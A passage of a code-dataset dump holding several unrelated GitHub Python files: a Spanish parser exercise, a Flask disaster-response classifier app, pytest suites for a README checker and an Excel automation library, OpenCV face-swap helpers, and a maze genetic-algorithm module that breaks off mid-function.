False:\n\t\t\t\t\t\t\t\tprint(\"Error: la variable <\",archivo2[i][1],\"> no es entero\\tError: en la fila\",z)\n\t\t\t\t\t\t\telse:\t\n\t\t\t\t\t\t\t\tayuda_registro[archivo2[i][1]] = [archivo2[i][3]]\n\t\t\t\t\t\t\t\tayuda_registro2[archivo2[i][1]] = \"Entero\"\n\t\t\t\t\t\tif archivo2[i][0] == palabras_clave[3]:\n\t\t\t\t\t\t\tayuda_registro[archivo2[i][1]] = [archivo2[i][3]]\n\t\t\t\t\t\t\tayuda_registro2[archivo2[i][1]] = \"Cadena\"\n\t\t\telse: \n\t\t\t\tif archivo2[i][0] != palabras_clave[4]:\n\t\t\t\t\tencontrar_variable = archivo2[i][0] in variables\n\t\t\t\t\ttry:\n\t\t\t\t\t\tencontrar_operador = archivo2[i][0] in operadores\n\t\t\t\t\t\tprint(encontrar_operador)\n\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\tif encontrar_variable != True:\n\t\t\t\t\t\t\tprint(\"Error: la variable <\",archivo2[i][0],\"> no existe dentro de la gramatica\\tError: en la fila\",z)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif archivo2[i][1] == operadores[4]:\n\t\t\t\t\t\t\t\tasd = ayuda_registro2.get(archivo2[i][0])\n\t\t\t\t\t\t\t\tencontrar_v = archivo2[i][2] in variables \n\t\t\t\t\t\t\t\tencontrar_n = esentero(archivo2[i][2])\t\n\t\t\t\t\t\t\t\tif asd == None:\n\t\t\t\t\t\t\t\t\tprint(\"Error: la variable <\",archivo2[i][0],\"> no esta declarada\\tError: en la fila\",z)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tif encontrar_v == True or encontrar_n == True:\n\t\t\t\t\t\t\t\t\t\tprint(\"hola\")\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tprint(\"es cadena\")\t\n\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t#print(encontrar_v)\n\t\t\t\t\t\t\t\t#print(encontrar_n)\n\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Este muestra\")\n\t\t\t\t#print(archivo2[i][0])\n\t\t\t\t#print(\"no esta declarando variables\")\n\t\t#print(archivo2)\n\t\t#prueba = str(ayuda_registro.get(\"a\"))\n\t\t#prueba = prueba[2:-2]\n\t\t#print(ayuda_registro)\n\t\t#print(ayuda_registro2)\n\n\n\t\t\t\n\t\t#print(archivo_array[encontrar_fin])\n\telse:\n\t\tprint(\"Error: el algoritmo inicia pero no tiene fin\")\n\t\nelse:\n\tprint(\"Error: el algoritmo no inicia nunca\")\n\t\t#if archivo_array[i][:-1]==\"Inicio\":\n\t\t\t#print(\"Inicio1\")\t\n\t#if archivo_array[i]!=\"\\n\":\n\t#\tif archivo_array[i][:-1]==\"Inicio\":\n#\t\t\tprint(archivo_array[i][:-1])\t\n\t#\telse:\n\t#\t\tprint(\"No existe\")\n\t#else:\n\t#\tcont = cont + 1\n#\t\tprint(\"Existe salto de linea\")\t\n\n#print(linea[0].count(\"\\t\"))\n#print(linea[1].startswith(\"\\t\"))\n\n#print(linea)\n#while linea!=\"\":\n#\tprint(linea)\n#\tlinea=archivo.readline()\n\t\n#entrada = input(\"ingrese la entrada:\")\n#entrada = separador_string(entrada)\n\n#def comparar(array)\n\n\n\n\n\t \n\n\n","repo_name":"marlonp721/compiladores","sub_path":"prueban.py","file_name":"prueban.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72958021692","text":"import json\nimport plotly\nimport pandas as pd\n\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import wordnet\n\nnltk.download(\n [\"omw-1.4\", \"punkt\", \"wordnet\", \"averaged_perceptron_tagger\", \"stopwords\"]\n)\n\nfrom flask import Flask\nfrom flask import render_template, request, jsonify\nimport pickle\nfrom sqlalchemy import create_engine\n\nfrom graphs import draw_bar, draw_hor_bar, draw_stacked_bar\n\n\napp = Flask(__name__)\n\n\ndef tokenize(text):\n \"\"\"\n INPUT\n text_raw - string\n\n OUTPUT\n lemmatized_sentence - string list\n\n This function will clean and tokenize the provided text\n using the following steps:\n 1. Extract characters from string\n 2. Tokenize words\n 3. Create POS tag each token\n 4. Remove stop words\n \"\"\"\n lemmatizer = WordNetLemmatizer()\n\n def pos_tagger(nltk_tag):\n if nltk_tag.startswith(\"J\"):\n return wordnet.ADJ\n elif nltk_tag.startswith(\"V\"):\n return wordnet.VERB\n elif nltk_tag.startswith(\"N\"):\n return wordnet.NOUN\n elif nltk_tag.startswith(\"R\"):\n return wordnet.ADV\n else:\n return None\n\n # tokenize the sentence and find the POS tag for each token\n pos_tagged = nltk.pos_tag(nltk.word_tokenize(text))\n\n # we use our own pos_tagger function to make things simpler to understand.\n wordnet_tagged = list(map(lambda x: (x[0], pos_tagger(x[1])), pos_tagged))\n\n lemmatized_sentence = []\n for word, tag in wordnet_tagged:\n if tag is None:\n # if there is no available tag, append the token as is\n lemmatized_sentence.append(word)\n else:\n # else use the tag to lemmatize the token\n lemmatized_sentence.append(lemmatizer.lemmatize(word, tag))\n\n return lemmatized_sentence\n\n\n# load data\nengine = create_engine(\"sqlite:///../data/DisasterResponse.db\")\ndf = pd.read_sql_table(\"MESSAGES\", engine)\n\n# load model\nmodel = pickle.load(open(\"../models/classifier.pkl\", \"rb\"))\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n\n genre_counts = df.groupby(\"genre\").count()[\"message\"]\n genre_names = list(genre_counts.index)\n\n genre_cat_counts = df.groupby(\"genre\").sum()[df.columns[4:]]\n\n categories_counts = df[df.columns[4:]].sum()\n categories_names = list(categories_counts.index)\n\n graphs = [\n draw_bar(genre_names, genre_counts, \"Distribution of Message Genres\", \"Genre\"),\n draw_stacked_bar(\n genre_cat_counts,\n categories_names,\n \"Distribution of Message Genres by Categories\",\n \"Genre\",\n ),\n draw_hor_bar(\n categories_names,\n categories_counts,\n \"Distribution of Message Categories\",\n \"Category\",\n ),\n ]\n\n # encode plotly graphs in JSON\n ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n\n # render web page with plotly graphs\n return render_template(\"master.html\", ids=ids, graphJSON=graphJSON)\n\n\n# web page that handles user query and displays model results\n@app.route(\"/go\")\ndef go():\n # save user input in query\n query = request.args.get(\"query\", \"\")\n\n print(query)\n\n # use model to predict classification for query\n classification_labels = model.predict([query])[0]\n classification_results = dict(zip(df.columns[4:], classification_labels))\n\n # This will render the go.html Please see that file.\n return render_template(\n \"go.html\", query=query, classification_result=classification_results\n )\n\n\ndef main():\n app.run(host=\"0.0.0.0\", port=3001, debug=True)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"HashemSami/disaster_response_pipelines","sub_path":"app/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72657040572","text":"import os\nimport tempfile\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom roverio.readmy_readmes import ReadmyReadmes\n\n\n@patch('roverio.readmy_readmes.ReadmyReadmes.iterate_readmes')\ndef test_run_cli(mock_iterate_readmes, mock_path):\n temp = tempfile.NamedTemporaryFile(delete=False, dir='test/unit')\n temp.write(b'install\\nusage\\ntodo\\ntest')\n temp.close()\n\n _ = ReadmyReadmes.run_cli(mock_path, temp)\n\n mock_iterate_readmes.assert_called_once_with(mock_path, temp, False, 'readmy_readmes.csv', False)\n os.unlink(temp.name)\n\n\ndef test_iterate_readmes(mock_path):\n temp = tempfile.NamedTemporaryFile(delete=False, dir='test/unit')\n temp.write(b'install\\nusage\\ntodo\\ntest')\n temp.close()\n\n table = ReadmyReadmes.iterate_readmes(mock_path, temp.name)\n\n # fmt: off\n assert table == (\n '| README File | install | usage | todo | test |\\n'\n '| ----------- | ------- | ----- | ---- | ---- |\\n'\n '| README.md | True | True | True | True |'\n )\n # fmt: on\n os.unlink(temp.name)\n\n\n@patch('roverio.readmy_readmes.ReadmyReadmes._create_csv')\ndef test_iterate_readmes_calls_create_csv(mock_csv, mock_path):\n temp = tempfile.NamedTemporaryFile(delete=False, dir='test/unit')\n temp.write(b'install\\nusage\\ntodo\\ntest')\n temp.close()\n\n _ = ReadmyReadmes.iterate_readmes(mock_path, temp.name, True, 'readmy_readmes.csv', False)\n\n mock_csv.assert_called_once()\n os.unlink(temp.name)\n\n\ndef test_find_readmes_success(mock_path):\n readme_list = ReadmyReadmes.find_readmes(mock_path)\n\n assert 'README.md' in readme_list[0]\n\n\ndef test_find_readmes_error():\n mock_path = './test'\n with pytest.raises(FileNotFoundError) as error:\n _ = ReadmyReadmes.find_readmes(mock_path)\n\n assert 'No README files were found with the specified path.' in str(error.value)\n\n\ndef test_check_rules_in_readme_not_lazy(mock_path):\n readme_contents = ReadmyReadmes._open_readme_file('README.md')\n result = ReadmyReadmes._check_rules_in_readme(readme_contents, 'test')\n\n assert result is True\n\n\n@pytest.mark.parametrize(\n 'lazy, rule, expected_value',\n [\n # This is flakey, but we test that we can either find the uppercase\n # word `coverage` or not depending on the `lazy` flag\n (True, 'coverage', True),\n (False, 'coverage', False),\n (True, 'bad-string', False),\n ],\n)\ndef test_check_rules_in_readme(lazy, rule, expected_value, mock_path):\n \"\"\"Tests that we properly can find rules by lazy searching\n (case insensitive) as well as explicitly matching (non-case-sensitive)\n \"\"\"\n readme_contents = ReadmyReadmes._open_readme_file('README.md')\n result = ReadmyReadmes._check_rules_in_readme(readme_contents, rule, lazy)\n\n assert result is expected_value\n\n\n@patch('builtins.open')\n@patch('csv.writer')\ndef test_create_csv(mock_csv, mock_open, mock_headers, mock_data, mock_csv_path):\n ReadmyReadmes._create_csv(mock_headers, mock_data, mock_csv_path)\n\n mock_csv.assert_called_once()\n\n\n@patch('csv.writer')\ndef test_create_csv_exception(mock_csv, mock_headers, mock_data, mock_path):\n # We use \"mock_path\" here as it's a directory and not a file path\n with pytest.raises(Exception) as error:\n ReadmyReadmes._create_csv(mock_headers, mock_data, mock_path)\n\n assert '[Errno 21] Is a directory: \\'./\\'' in str(error.value)\n","repo_name":"Justintime50/playground","sub_path":"roverio/test/unit/test_readmy_readmes.py","file_name":"test_readmy_readmes.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"42704499796","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport pdb\nimport logging\n\n\ndef tupleList(res, pts):\n for lst in pts:\n l = [i for i in lst]\n res.append(tuple(l))\n return res\n\n\n'''\nFeature Detection Visualization\n'''\n\n\ndef empty_pts(p_s, p_t):\n if len(p_s) == 0 or len(p_t) == 0:\n return True\n\n return False\n\n\ndef feature_visualize(bgrImg, pts):\n pts = np.array(pts)\n visualizeBGR(bgrImg, (pts[:, 0], pts[:, 1]))\n\n\ndef visualizeRGB(rgbImg, pts):\n plt.imshow(rgbImg)\n\n if pts:\n x, y = pts\n plt.scatter(x, y, s=5, c='g')\n\n plt.show()\n\n\ndef visualizeBGR(bgrImg, pts):\n temp = np.copy(bgrImg)\n rgbImg = cv2.cvtColor(temp, cv2.COLOR_BGR2RGB)\n plt.imshow(rgbImg)\n\n if pts:\n x, y = pts\n plt.scatter(x, y, s=5, c='g')\n\n plt.show()\n\n\ndef visualizeGrey(img):\n plt.imshow(img, cmap='gray')\n plt.show()\n\n# Check if a point is inside a rectangle\n\n\ndef rectContains(rect, point):\n if point[0] < rect[0]:\n return False\n elif point[1] < rect[1]:\n return False\n elif point[0] > rect[0] + rect[2]:\n return False\n elif point[1] > rect[1] + rect[3]:\n return False\n return True\n\n# Draw delaunay triangles\n\n\ndef draw_delaunay(img, subdiv, delaunay_color=(255, 255, 255)):\n triangleList = subdiv.getTriangleList()\n size = img.shape\n r = (0, 0, size[1], size[0])\n\n for t in triangleList:\n pt1 = (int(t[0]), int(t[1]))\n pt2 = (int(t[2]), int(t[3]))\n pt3 = (int(t[4]), int(t[5]))\n\n if rectContains(r, pt1) and rectContains(r, pt2) and rectContains(r, pt3):\n cv2.line(img, pt1, pt2, delaunay_color, 1, cv2.LINE_AA, 0)\n cv2.line(img, pt2, pt3, delaunay_color, 1, cv2.LINE_AA, 0)\n cv2.line(img, pt3, pt1, delaunay_color, 1, cv2.LINE_AA, 0)\n\n\ndef convert_BGR2Gray(img):\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n return img\n","repo_name":"VirulentKid/Video-Face-Swapping","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15528425166","text":"import src.main\nimport src.main as xl\nimport src.range\nimport src.sheet\nimport src.tools\nfrom src import config\nimport pytest\nimport os\n\n\nclass TestBasicMethods:\n \"\"\"Tests methods of Workbook class on a new workbook.\n\n The methods and attributes tested under this class are those which do not require any content in the workbook\n under control, for example saving, viewing sheets, etc.\n \"\"\"\n def test_open_new(self, testdir):\n \"\"\"Tests that open and close methods work on a new workbook.\"\"\"\n wb = xl.Workbook(testdir.joinpath('test.xlsx'))\n wb.close()\n wb = xl.Workbook(testdir.joinpath('test'))\n wb.close()\n\n @pytest.mark.parametrize('filename', ['fail.mp3', 'fail.doc'])\n def test_open_fails(self, testdir, filename):\n with pytest.raises(src.range.ExcelError):\n wb = xl.Workbook(testdir.joinpath(filename))\n\n def test_path_attrs(self, open_workbook):\n \"\"\"Tests attributes related to the file path.\n\n Checks that .path returns the path of an existing file and that .dir and .name return the directory and file\n name components of .path. Finally checks that .dir and .name can be combined to form the file path.\n \"\"\"\n assert os.path.exists(open_workbook.path)\n assert os.path.dirname(open_workbook.path) == open_workbook.dir\n assert os.path.basename(open_workbook.path) == open_workbook.name\n assert os.path.join(open_workbook.dir, open_workbook.name) == open_workbook.path\n\n def test_name(self, open_workbook):\n \"\"\"Tests that the name attribute returns the correct file name.\"\"\"\n assert open_workbook.name == open_workbook.workbook.Name\n\n def test_sheet_names(self, open_workbook):\n \"\"\"Tests that the sheet_names attribute returns a list of sheet names.\n\n A new workbook will contain a single sheet named 'Sheet1'.\n \"\"\"\n assert open_workbook.sheet_names == ['Sheet1']\n\n def test_save(self, open_workbook):\n \"\"\"Tests save method.\n\n Checks that when the save method is called, the mtime of the file is updated (i.e. the file gets modified).\n \"\"\"\n old_mtime = os.path.getmtime(open_workbook.path)\n open_workbook.save()\n assert os.path.getmtime(open_workbook.path) > old_mtime\n\n def test_save_as(self, unique_workbook):\n \"\"\"Tests save_as method.\n\n Opens a new workbook and saves it using the save_as method, checking that the mtime of the file was updated.\n \"\"\"\n old_mtime = os.path.getmtime(unique_workbook.path)\n unique_workbook.save_as(os.path.join(unique_workbook.dir, 'new_file.xlsx'))\n assert os.path.getmtime(unique_workbook.path) > old_mtime\n\n @pytest.mark.parametrize('ext', config.ext_save_codes.keys())\n def test_save_as_all_formats(self, unique_workbook, ext):\n \"\"\"Tests that the save_as method works for all supported file formats.\"\"\"\n path = os.path.join(unique_workbook.dir, f\"format_test{ext}\")\n unique_workbook.save_as(path)\n\n def test_save_copy_as(self, unique_workbook):\n \"\"\"Tests the save_copy_as method.\n\n Checks that a copy is saved without changing the reference of the open workbook, and that both files exist after\n save_copy_as is called.\n \"\"\"\n copy_path = os.path.join(unique_workbook.dir, f\"copy_of_{unique_workbook.name}\")\n unique_workbook.save_copy_as(copy_path)\n files = os.listdir(unique_workbook.dir)\n assert unique_workbook.name != os.path.basename(copy_path)\n assert unique_workbook.name in files and os.path.basename(copy_path) in files\n\n def test_getitem(self, open_workbook):\n \"\"\"Tests the __getitem__ magic method.\n\n Check that __getitem__ returns a Range object and raises an ExcelError when given a range outside of excel's\n limit; 1,048,576 rows and 16,384 columns (the maximum column is XFD).\n \"\"\"\n assert isinstance(open_workbook['A1'], src.range.Range)\n assert isinstance(open_workbook['A1:Z100'], src.range.Range)\n with pytest.raises(src.range.ExcelError):\n assert open_workbook['A1:Z1048577']\n with pytest.raises(src.range.ExcelError):\n assert open_workbook['A1:XFE1']\n\n def test_setitem(self, open_workbook):\n \"\"\"Tests the __setitem__ magic method.\n\n Check that __setitem__ replaces the .values property of the referenced Range.\n \"\"\"\n old_value = open_workbook['A1'].values\n open_workbook['A1'] = 'New Value'\n assert old_value != open_workbook['A1'].values\n open_workbook['A1'] = old_value\n assert old_value == open_workbook['A1'].values\n\n def test_setitem_on_range(self, open_workbook):\n \"\"\"Tests the __setitem__ magic method when referencing a range of cells.\n\n Check that __setitem__ replaces the .values property of the referenced Range.\n \"\"\"\n old_values = open_workbook['A1:C1'].values\n open_workbook['A1:C1'] = 'New Value'\n assert (old_values[0][0] != open_workbook['A1:C1'].values[0][0])\n assert all(v1 == v2 for v1, v2 in zip(old_values[0][1:], open_workbook['A1:C1'].values[0][1:]))\n open_workbook['A1:F1'] = old_values\n assert all(v1 == v2 for v1, v2 in zip(old_values[0], open_workbook['A1:F1'].values[0]))\n\n def test_active_sheet(self, open_workbook):\n \"\"\"Test that the sheet attribute returns a Sheet object referencing the current active sheet.\"\"\"\n assert isinstance(open_workbook.active_sheet, src.sheet.Sheet)\n assert open_workbook.active_sheet.name == open_workbook.workbook.ActiveSheet.Name\n\n def test_sheet_exists(self, open_workbook):\n \"\"\"Test the sheet_exists method.\"\"\"\n assert open_workbook.sheet_exists('Sheet1')\n assert not open_workbook.sheet_exists('Sheet that doesnt exist')\n\n def test_add_sheet(self, open_workbook):\n \"\"\"Test that add sheet works correctly and raises the appropriate exception when a sheet already exists.\"\"\"\n open_workbook.add_sheet('NewSheet1')\n assert open_workbook.sheet_names == ['Sheet1', 'NewSheet1']\n open_workbook.add_sheet('NewSheet2', before='Sheet1')\n assert open_workbook.sheet_names == ['NewSheet2', 'Sheet1', 'NewSheet1']\n open_workbook.add_sheet('NewSheet3', after='Sheet1')\n assert open_workbook.sheet_names == ['NewSheet2', 'Sheet1', 'NewSheet3', 'NewSheet1']\n with pytest.raises(src.range.ExcelError):\n open_workbook.add_sheet('NewSheet1')\n","repo_name":"chrispcharlton/automate_excel","sub_path":"tests/test_workbook.py","file_name":"test_workbook.py","file_ext":"py","file_size_in_byte":6538,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"42981150294","text":"import math\nimport random\nimport stack\nimport backtracking_maze as bm\n\n\nclass Chromo:\n\n def __init__(self, maze, endP=0, startP=0):\n self.maze = self.forceState(maze)\n self.maze = self.reprobe(self.maze)\n self.maze = self.resetWalls(self.maze)\n if endP is not 0:\n self.endP = endP\n else:\n self.endP = [len(maze)-1, len(maze[0])-1]\n if startP is not 0:\n self.startP = startP\n else:\n self.startP = [int(0), int(0)]\n mar = self.farPP()\n self.farP = mar[1]\n self.ssP = [] # mar[2]\n self.dist = math.sqrt(math.pow((self.endP[0]-self.farP[0]), 2) + math.pow((self.endP[1]-self.farP[1]), 2))\n\n def reprobe(self, m):\n for n in m:\n for ns in n:\n s = ns.state\n jj = {0: [1, 1], 1: [0, 0], 2: [0, 1], 3: [1, 0], 4: [0, 0]} # [r,d]\n out = jj[s][:]\n ss = [0, 0]\n if ns.cords[0] > 0 and (ns.cords[0] < len(ns.strangeNeed)-1):\n ss[0] = int(ns.strangeNeed[ns.cords[0] - 1][ns.cords[1]].state == 3 or ns.strangeNeed[ns.cords[0] - 1][ns.cords[1]].state == 0)\n if ns.cords[1] > 0 and (ns.cords[1] < len(ns.strangeNeed[0])-1):\n ss[1] = int(ns.strangeNeed[ns.cords[0]][ns.cords[1] - 1].state == 2 or ns.strangeNeed[ns.cords[0]][ns.cords[1] - 1].state == 0)\n if (ns.cords[0] == (len(ns.strangeNeed)-1)) and (ns.cords[1] == (len(ns.strangeNeed[0])-1)):\n ss = [0, 0] # [l,t]\n out = out + ss[:]\n ns.statement = out\n '''\n if sum(out) > 1 and self.turnAndBurn(out): # don't do this, it would get every turn in the whole grid, not just the ones at the start\n self.ssP.append([ns.cords[0], ns.cords[1]])\n '''\n return m\n\n # This doesn't necessarily work, I need to make it something else; probably related to farPP\n def turnAndBurn(self, sts):\n if sts[0] and (sts[1] or sts[3]):\n return True\n elif sts[1] and sts[2]:\n return True\n elif sts[2] and sts[3]:\n return True\n else:\n return False\n\n def resetWalls(self, m):\n for i in m:\n for p in i:\n s = p.state\n if s == 0:\n p.walls = [False, False]\n elif s == 1:\n p.walls = [True, True]\n elif s == 2:\n p.walls = [True, False]\n else:\n p.walls = [False, True]\n return m\n\n def dirp(self, statements, crds): # I'm pretty sure this is where one of our larger problems is\n if crds[0] >= (len(self.maze) - 1) and crds[1] >= (len(self.maze[0]) - 1):\n return [len(self.maze) - 1, len(self.maze) - 1, 1]\n y = {0: \"R\", 1: \"D\", 2: \"L\", 3: \"U\"}\n c = {\"R\": [crds[0]+1, crds[1], 0], \"D\": [crds[0], crds[1]+1, 0], \"L\": [crds[0]-1, crds[1], 1], \"U\": [crds[0], crds[1]-1, 1]}\n cc = {\"R\": 0, \"D\": 1, \"L\": 2, \"U\": 3}\n ot = []\n for u in range(4):\n if statements[u]:\n ot.append(y[u])\n #if len(ot) == 0: # This isn't real code, just a pseudo-fix for now\n # r = \"D\"\n if crds[0] < (len(self.maze)-1) and crds[1] < (len(self.maze[0])-1):\n if len(ot) > 1:\n r = ot[random.randint(0, len(ot)-1)]\n else:\n r = ot[0]\n p = cc[r]\n self.maze[crds[0]][crds[1]].statement[p] = 0\n try: # make sure that c[r] will never be out of bounds\n self.maze[c[r][0]][c[r][1]].statement[p + 2] = 0\n except IndexError:\n self.maze[c[r][0]][c[r][1]].statement[p - 2] = 0\n return c[r]\n else: # this has messed something up, somehow\n if len(ot) > 1:\n r = ot[random.randint(0, len(ot)-1)]\n else:\n r = ot[0]\n p = cc[r]\n self.maze[crds[0]][crds[1]].statement[p] = 0\n '''\n try: # make sure that c[r] will never be out of bounds\n self.maze[c[r][0]][c[r][1]].statement[p + 2] = 0\n except IndexError:\n self.maze[c[r][0]][c[r][1]].statement[p - 2] = 0\n '''\n return [crds[0], crds[1], 1]\n\n '''\n def fuckDirs(self, h, mz, second=0):\n posib = []\n x = h[0]\n y = h[1]\n if not second:\n if x < len(mz) - 1:\n if (not mz[x + 1][y].visited or len(self.fuckDirs([x + 1, y], mz, 1)) > 0) and (mz[x][y].state == 3 or mz[x][y].state == 0):\n posib.append([mz[x + 1][y].cords[0], mz[x + 1][y].cords[1], 0]) # [\"RIGHT\", x+1, y]\n if y < len(mz[0]) - 1:\n if (not mz[x][y + 1].visited or len(self.fuckDirs([x, y + 1], mz, 1)) > 0) and (mz[x][y].state == 2 or mz[x][y].state == 0):\n posib.append([mz[x][y + 1].cords[0], mz[x][y + 1].cords[1], 0]) # [\"DOWN\", x, y+1]\n if x > 0:\n if (not mz[x - 1][y].visited or len(self.fuckDirs([x - 1, y], mz, 1)) > 0) and (mz[x - 1][y].state == 3 or mz[x - 1][y].state == 0):\n posib.append([mz[x - 1][y].cords[0], mz[x - 1][y].cords[1], 1]) # [\"LEFT\", x-1, y]\n if y > 0:\n if (not mz[x][y - 1].visited or len(self.fuckDirs([x, y - 1], mz, 1)) > 0) and (mz[x][y - 1].state == 2 or mz[x][y - 1].state == 0):\n posib.append([mz[x][y - 1].cords[0], mz[x][y - 1].cords[1], 1]) # [\"UP\", x, y-1]\n else:\n if x < len(mz) - 1:\n if (not mz[x + 1][y].visited) and (mz[x][y].state == 3 or mz[x][y].state == 0):\n posib.append([mz[x + 1][y].cords[0], mz[x + 1][y].cords[1], 0]) # [\"RIGHT\", x+1, y]\n if y < len(mz[0]) - 1:\n if (not mz[x][y + 1].visited) and (mz[x][y].state == 2 or mz[x][y].state == 0):\n posib.append([mz[x][y + 1].cords[0], mz[x][y + 1].cords[1], 0]) # [\"DOWN\", x, y+1]\n if x > 0:\n if (not mz[x - 1][y].visited) and (mz[x - 1][y].state == 3 or mz[x - 1][y].state == 0):\n posib.append([mz[x - 1][y].cords[0], mz[x - 1][y].cords[1], 1]) # [\"LEFT\", x-1, y]\n if y > 0:\n if (not mz[x][y - 1].visited) and (mz[x][y - 1].state == 2 or mz[x][y - 1].state == 0):\n posib.append([mz[x][y - 1].cords[0], mz[x][y - 1].cords[1], 1]) # [\"UP\", x, y-1]\n return posib\n \n def dirs(self, r, h, mz):\n x = h[0]\n y = h[1]\n if (x < len(mz) - 1) and (y < len(mz[0]) - 1) and x > 0 and y > 0:\n if not mz[x - 1][y].visited or not mz[x + 1][y].visited or not mz[x][y - 1].visited or not mz[x][y + 1].visited:\n if not mz[x - 1][y].visited:\n r.append([x-1, y])\n r.append(self.dirs(r, [x-1, y], mz))\n if not mz[x + 1][y].visited:\n r.append([x + 1, y])\n r.append(self.dirs(r, [x + 1, y], mz))\n if not mz[x][y - 1].visited:\n r.append([x, y-1])\n r.append(self.dirs(r, [x, y-1], mz))\n if not mz[x][y + 1].visited:\n r.append([x, y+1])\n r.append(self.dirs(r, [x, y+1], mz))\n else:\n r.append([0, 0])\n return r\n \n def direct(self, h, mz):\n x = h[0]\n y = h[1]\n h = mz[x][y]\n pp = []\n if h.state == 2 and y < len(mz): # down\n if not mz[x][y+1].visited:\n pp.append([x, y + 1, 0])\n return pp\n elif h.state == 3 and x < len(mz): # right\n if not mz[x + 1][y].visited:\n pp.append([x+1, y, 0])\n if pp is not None:\n return pp\n else:\n pp = [[x+1, y, 0]]\n return pp\n elif h.state == 0: # both\n if x < len(mz):\n if not mz[x+1][y].visited:\n pp.append([x+1, y, 0])\n if y < len(mz):\n if not mz[x][y + 1].visited:\n pp.append([x, y + 1, 0])\n return pp\n elif h.state == 1:\n if x > 0:\n if not mz[x-1][y].visited:\n pp.append([x - 1, y, 1])\n if y > 0:\n if not mz[x][y - 1].visited:\n pp.append([x, y - 1, 1])\n return pp\n else:\n return [0, 0, 0]\n '''\n\n #I think I'm going to just rewrite this from scratch, maybe try something different\n def farPP(self): # need to rewrite so ssP takes in points with turns, then set pick3 to take the 3 furthest\n oP = []\n sP = self.startP\n n = self.maze[sP[0]][sP[1]]\n if sum(n.statement) > 0:\n sP = self.dirp(n.statement, n.cords)\n q = stack.Stack()\n q.push(n.cords)\n oP.append(n.cords)\n else:\n fp = [0, n.cords]\n return fp\n n = self.maze[sP[0]][sP[1]]\n while not q.isEmpty():\n if sum(n.statement) == 0:\n sP = q.pop()\n oP.append(n.cords)\n n = self.maze[sP[0]][sP[1]]\n if sum(n.statement) > 0:\n q.push(n.cords)\n else:\n if sum(n.statement) > 1:\n q.push(n.cords)\n sP = self.dirp(n.statement, n.cords)\n oP.append(n.cords)\n try:\n n = self.maze[sP[0]][sP[1]]\n except IndexError:\n try:\n sP[1] -= 1\n n = self.maze[sP[0]][sP[1]]\n except IndexError:\n sP[0] -= 1\n n = self.maze[sP[0]][sP[1]]\n fp = self.cull(oP)\n return fp\n\n def forceState(self, mz):\n s1 = {0: 2, 1: 1, 2: 2, 3: 1}\n s2 = {0: 3, 1: 1, 2: 1, 3: 3}\n for y in range(0, len(mz)-1):\n mz[len(mz)-1][y].state = s1[mz[len(mz)-1][y].state]\n for x in range(0, len(mz[0])-1):\n mz[x][len(mz[0])-1].state = s2[mz[x][len(mz[0])-1].state]\n return mz\n\n def cull(self, lists):\n r = []\n for j in lists:\n # check to make sure this line is working properly\n r.append([math.sqrt(math.pow((j[0]-self.startP[0]), 2) + math.pow((j[1]-self.startP[1]), 2)), j])\n #r[0].sort()\n m = r[0]\n for x in r:\n if x[0] > m[0]:\n m = x\n return m\n\n\nclass ChromeField:\n\n def __init__(self):\n self.generation = []\n self.genNum = 0\n self.genSize = 0\n self.pullNum = 0\n self.genX = []\n\n def add2Gen(self, insert):\n self.generation.append(insert)\n self.genSize += 1\n\n def culling(self, nomNum): # look into this method for order of list\n h = sorted(self.generation, key=lambda n: n.dist)\n self.generation = h[:nomNum]\n self.genSize = len(self.generation)\n\n def merge(self, mai): # will take main and merge the faulty cells with that of the matching cells in the/\n # other mazes within the generation\n # This apparently isn't doing anything and I don't know why\n main = self.generation[mai]\n mP = self.pick3(main.ssP)\n cop = self.quick2D(len(main.maze))\n for i in range(self.genSize):\n if i is not mai:\n sain = self.generation[i]\n for j in range(len(cop)):\n for y in range(len(cop)):\n si = sain.maze[j][y].state\n r = random.randint(0, 30)\n if r % 9 == 0:\n for p in range(r // 9):\n si = self.upState(si)\n if self.checkBeck(mP, [j, y]):\n cop[j][y] = bm.node(j, y, s=si)\n else:\n cop[j][y] = bm.node(j, y, s=si)\n for p in cop:\n for h in p:\n h.addMaz(cop)\n self.genX.append(Chromo(cop))\n\n '''\n cop = [r[:] for r in main.maze]\n for i in range(self.genSize):\n if i is not mai:\n sain = self.generation[i]\n for pair in mP:\n s = sain.maze[pair[0]][pair[1]].state\n r = random.randint(0, 30)\n if r % 9 == 0:\n for p in range(r//9):\n s = self.upState(s)\n cop[pair[0]][pair[1]].state = s\n #cop[pair[0]][pair[1]].restate()\n self.genX.append(Chromo(cop))\n '''\n\n def quick2D(self, leng):\n r = list()\n for i in range(leng):\n r.append([])\n for u in range(leng):\n r[i].append(0)\n return r\n\n def checkBeck(self, points, coords):\n for p in points:\n if coords[0] == p[0] and coords[1] == p[1]:\n return True\n return False\n\n def pick3(self, inn):\n if len(inn) > 3:\n t = []\n while len(t) < 3:\n e = random.randint(0, len(inn)-1)\n if not t.__contains__(e):\n t.append(inn[e])\n return t\n else:\n 